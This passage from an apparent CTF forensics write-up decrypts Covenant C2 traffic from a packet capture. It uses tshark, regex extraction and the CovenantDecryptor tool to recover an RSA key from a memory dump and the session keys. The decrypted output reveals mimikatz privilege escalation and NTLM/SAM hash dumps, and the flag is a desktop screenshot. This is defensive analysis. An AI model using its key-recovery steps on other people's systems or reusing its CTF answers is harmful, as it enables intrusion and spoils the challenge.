Now I will create a virtual environment for CovenantDecryptor

1
2
3
4
5
git clone https://github.com/naacbin/CovenantDecryptor.git
cd CovenantDecryptor
python3 -m venv CovenantDecryptor
source CovenantDecryptor/bin/activate
pip install -r requirements.txt

1
tshark -r ../traffic.pcapng -q -Y 'tcp.stream == 1490 and http' -z follow,tcp,ascii,1490 2>/dev/null | grep -oP 'i=[a-f0-9]+&data=[A-Za-z0-9+/=]+&session=[\w-]+|eyJ[A-Za-z0-9+/=]+' > ../traffic.txt

Actually, I was stuck with regex (patterns) to remove http headers & html elements then extract what I needed from the traffic using tshark but this didn’t decrypt all the messages, instead I saved the file from wireshark directly by following tcp stream tcp.stream eq 1490 ==> test$.html files, and then used this regex shown below:

Alternatively, we can use POST requests

1
grep -oP 'i=[a-f0-9]+&data=[A-Za-z0-9+/=]+&session=[\w-]+|eyJ[A-Za-z0-9+/=]+' test.txt > traffic.txt

Extract the modulus from the stage 0 request of an infected host :

1
python3 decrypt_covenant_traffic.py modulus -i ../traffic.txt -k "l86[REDACTED]" -t base64

Retrieve the RSA private key from a minidump file of an infected Covenant process :

1
python extract_privatekey.py -i ../powershell.DMP -m $(cat modulus.txt) -o ./keys/

Recover the SessionKey from the stage 0 response of Covenant C2, which is employed to encrypt network traffic :

1
python3 decrypt_covenant_traffic.py key -i ../traffic.txt -k "l8[REDACTED]" -t base64 -r keys/privkey1.pem -s 1

Decrypt the Covenant communication by SessionKey 0 :

1
python3 decrypt_covenant_traffic.py decrypt -i ../traffic.txt -k "17c[REDACTED]" -t hex -s 2

Here are the main points from the output:

  • Decrypted C2 Messages: The tool extracts and decrypts many messages exchanged between the implant and the server, revealing plaintext data.
  • System Information: You see details about the compromised host, including domain, username Administrator, IP address, hostname, and OS version.
  • Privilege Escalation: The output shows that the attacker used mimikatz to elevate privileges to SYSTEM.
  • NTLM Hash Extraction: The decrypted output includes the NTLM hash for the Administrator account:
  • SAM Dump: The attacker dumped the SAM database, listing other user accounts and their RIDs.


Final Flag 🚩

Q6: What is the flag?

After decoding the huge of base64 from final decryption output of C2 traffic ==> response messages 15 && 16,we find a file whose structure is an image.

option |

1
python3 decrypt_covenant_traffic.py decrypt -i ../traffic.txt -k "17c[REDACTED]" -t hex -s 2 > ../flag.txt

Next remove any extra sambols {}, "", etc.... just keep base64

1
2
3
base64 -d flag.txt > flag.bin
file flag.bin                                                                    
flag.bin: PNG image data, 1920 x 977, 8-bit/color RGBA, non-interlaced

Rendering the decoded base64 with CyberChef reveals a screenshot of the victim’s desktop

option ||

using Render Image

I hope you found this helpful, see you in another writeups.

GIF

This post is licensed under CC BY 4.0 by the author.